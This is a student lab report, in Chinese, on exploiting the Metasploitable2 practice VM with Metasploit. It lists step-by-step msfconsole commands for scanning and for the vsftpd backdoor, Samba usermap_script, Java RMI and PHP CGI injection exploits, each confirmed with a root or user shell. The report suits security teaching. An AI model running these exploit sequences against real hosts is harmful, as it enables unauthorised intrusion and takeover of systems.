1.实验内容
1.1 本周学习内容回顾
本文采用了Metasploit框架,这是一款功能强大的渗透测试工具。Metasploit提供了丰富的攻击模块,涵盖远程代码执行、服务拒绝、提权等多种攻击方式,支持对多种操作系统和应用程序进行测试。除了漏洞利用,Metasploit还具备强大的后渗透功能,如键盘记录、文件上传下载、网络嗅探等。此外,还使用了nmap、Nessus等信息收集工具,用于漏洞检测和信息收集等操作。
1.2 实验要求
本次实践旨在熟练掌握Metasploit的使用方法。请参考Rapid7官方提供的指导教程,网址为:https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/。
下载官方靶机Metasploitable2,并按要求完成实验内容。
查询靶机IP地址,得到结果为192.168.1.8
2.实验过程
2.1 前期渗透
2.1.1 主机发现
search arp_sweep
use 0
set RHOSTS 192.168.1.0/24
set THREADS 30
exploit
从图中可以看到,我们已经成功的查询到靶机:192.168.1.8
2.1.2 端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等
search portscan/tcp
use 0
set RHOSTS 192.168.1.8
exploit
2.1.3 扫描系统版本、漏洞
search auxiliary/scanner/smb/smb_version
use 0
set RHOSTS 192.168.1.8
exploit
从图中可见,目标主机运行的是Unix操作系统,版本为Samba 3.0.20-Debian,并使用SMBv1协议,存在已知漏洞。
2.2 Vsftpd源码包后门漏洞(21端口)
漏洞原理:在特定版本的vsftpd服务器中,若用户名以“😃”结尾,服务器将在6200端口监听并允许执行任意代码,存在严重安全漏洞。
search exploit/unix/ftp/vsftpd_234_backdoor
use 0
set RHOST 192.168.1.8
exploit
攻击完以后,输入pwd、uname -a、id等指令检测是否攻击成功。
2.3 SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba 中负责更新 SAM 数据库用户口令的代码,未对用户输入进行过滤即传输给 /bin/sh。若在调用 smb.conf 中定义的外部脚本时,通过 MS-RPC 调用提交恶意输入,可能使攻击者以 nobody 用户权限执行任意命令。
search exploit/multi/samba/usermap_script
use 0
set RHOST 192.168.1.8
exploit
利用成功 执行uname–a验证
2.4 Java RMI SERVER命令执行漏洞(1099端口)
漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。
首先,根据以前的TCP扫描得出的结果,可以得知1099端口已开放。
search exploit/multi/misc/java_rmi_server
use 0
set RHOST 192.168.1.8
exploit
执行攻击后,使用指令sessions -i 3进入任务
再输入shell,利用whoami指令验证,得到结果:root
2.5 PHP CGI参数执行注入漏洞(80端口)
漏洞原理:CGI脚本未能正确处理请求参数,导致源代码泄露,并允许远程攻击者通过请求参数插入并执行命令。
search exploit/multi/http/php_cgi_arg_injection
use 0
set RHOST 192.168.1.8
exploit
攻击成功,输入dir验证:
3.问题及解决方案
实验进展顺利,未遇问题。
4.学习感悟、思考等
此次实验总体较为简单,因此未遇到太多困难。在实验过程中,我深刻体会到Metasploit框架的强大与灵活性。Metasploit的模块化结构和自动化能力显著提升了攻击效率,不仅支持各种已知漏洞的利用,还集成了扫描、信息收集和社会工程学攻击等工具。借助Metasploit,我能够迅速发现目标系统的漏洞,并利用这些漏洞实现远程控制。这不仅让我感受到站在前人肩膀上的优势,更使我深刻认识到网络安全的重要性。总体而言,此次实验不仅提升了我的技术能力,增强了我对网络攻防课程的兴趣,也让我对网络安全有了更加全面的理解。